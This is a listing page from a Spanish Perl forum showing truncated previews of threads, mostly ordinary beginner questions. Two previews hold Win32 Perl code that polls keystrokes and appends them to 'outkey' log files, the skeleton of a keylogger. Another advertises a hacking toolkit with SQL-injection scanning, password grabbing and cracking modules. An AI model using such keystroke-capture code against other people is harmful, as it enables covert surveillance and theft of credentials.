• Publicidad

Fecha actual 2026-03-12 07:16 @344

News News of Foro - Perl en Español

Site map of Foro - Perl en Español » Foro : Foro - Perl en Español

La comunidad de programadores en Perl de habla-hispana.

Expresión regular para 10 dígitos

¿ Alguien me podría decir cómo una expresión regular para sacar de un variable $text todo lo que tenga 10 dígitos y mostrarlo por pantalla ?
Read more : Expresión regular para 10 dígitos | Vistas : 1831 | Respuestas : 4 | Foro : Básico




Primera ocurrencia en una búsqueda

Ante todo, felicidades por esta página que me ha ahorrado un montón de horas buscando información y a los comentarios de explorer que aparecen en todos los lados :P

Tengo un problemilla con una búsqueda de un html que me llega que necesito sacar los vídeos de Youtube y los comentarios asociados.

Porción del html que quiero capturar:

<div id="cuerpo_13234" class="cuerpo">
Texto pruebra bllalblalbla ...
Read more : Primera ocurrencia en una búsqueda | Vistas : 1780 | Respuestas : 2 | Foro : Web


Error en compilación con perl2exe

Tengo el siguiente código

use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;

Win32::API->Import('user32', 'GetKeyState', 'I', 'I');

sub GetCapsLock {
GetKeyState(0x14) & 1;
}

sub GetNumLock {
GetKeyState(0x90) & 1;
}

sub GetScrollLock {
GetKeyState(0x91) & 1;
}

sub SetCapsLock {} # Not yet implemented

sub SetNumLock {} # Not yet implemented

sub SetScrollLock {} # Not yet implemented

while(1){

if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...
Read more : Error en compilación con perl2exe | Vistas : 1597 | Respuestas : 10 | Foro : Básico


Reconocer shift en Windows

Tengo el siguiente código.

use Win32::API;

my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");

while(1) {

if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}

if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}

}#

sub dame {
return($come->Call(@_) & 1);
}

sub savefile {
print $_."\n";
}


La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...
Read more : Reconocer shift en Windows | Vistas : 708 | Respuestas : 0 | Foro : Básico


Project Arsenal X

Hace tiempo que queria hacer un programa parecido al famoso juego Hackthegame , intente hacer un programa con un diseño parecido y algunas de sus funciones.
Las opciones que el programa tiene son :

Gmail Inbox
Client Whois
Ping
Downloader
GetIP
LocateIP
K0bra SQLI Scanner
GetPass
PanelControl
PortScanner
Multi Cracker
Ejecucion de comandos en la consola

Una imagen

Imagen

Los modulos que necesita ...
Read more : Project Arsenal X | Vistas : 1905 | Respuestas : 0 | Foro : Proyectos


Archivos RAR

¿ Existe algún módulo de Perl para poder abrir archivos zip o rar que tengan password ?
Read more : Archivos RAR | Vistas : 1840 | Respuestas : 2 | Foro : Módulos


Problema al cargar imágenes con Perl

Tengo el siguiente código:
#!C:/xampp/perl/bin/perl.exe
print "content-type: text/html \n\n";
print <<EOF;
<img src="moto.jpg" />
EOF

pero al ejecutarlo no carga la imagen, pero si lo pongo en una página HTML normal:
<img src="moto.jpg" />
carga perfectamente. También intenté cambiar la URL de la imagen, como por ejemplo:

"C:/xampp/cgi-bin/DarkDragon/moto.jpg"
"C:/moto.jpg"
"localhost/cgi-bin/DarkDragon/moto.jpg"
"DarkDragon/moto.jpg"
"../../../moto.jpg"
"/moto.jpg"
"cgi-bin/moto.jpg"

pero con ninguna carga la imagen :?
Read more : Problema al cargar imágenes con Perl | Vistas : 2316 | Respuestas : 3 | Foro : Web


Evaluar una variable en Perl

¡Hola! :)

Estoy aprendiendo Perl y quiero saber si puedo evaluar una variable como se hace en Cobol. Ejemplo:

EVALUATE X
WHEN 0
CONDICION 1
WHEN 1
CONDICION 2
WHEN 2
CONDICION 3
WHEN OTHER
CONDICION 4
END-EVALUATE;

Les agradezco si me pueden ayudar, este es el único medio por el cual estoy aprendiendo Perl.

Att: Chascarrilla
Read more : Evaluar una variable en Perl | Vistas : 1528 | Respuestas : 4 | Foro : Básico


Ingeniero en sistemas vs analista en sistemas

¿ Qué carrera conviene más para alguien que solo le gusta la programación ?
Read more : Ingeniero en sistemas vs analista en sistemas | Vistas : 9253 | Respuestas : 5 | Foro : Pasando el rato


 

Identificarte  •  Registrarse


Estadísticas

Mensajes totales 36895 • Temas totales 7436 • Usuarios totales 1983

cron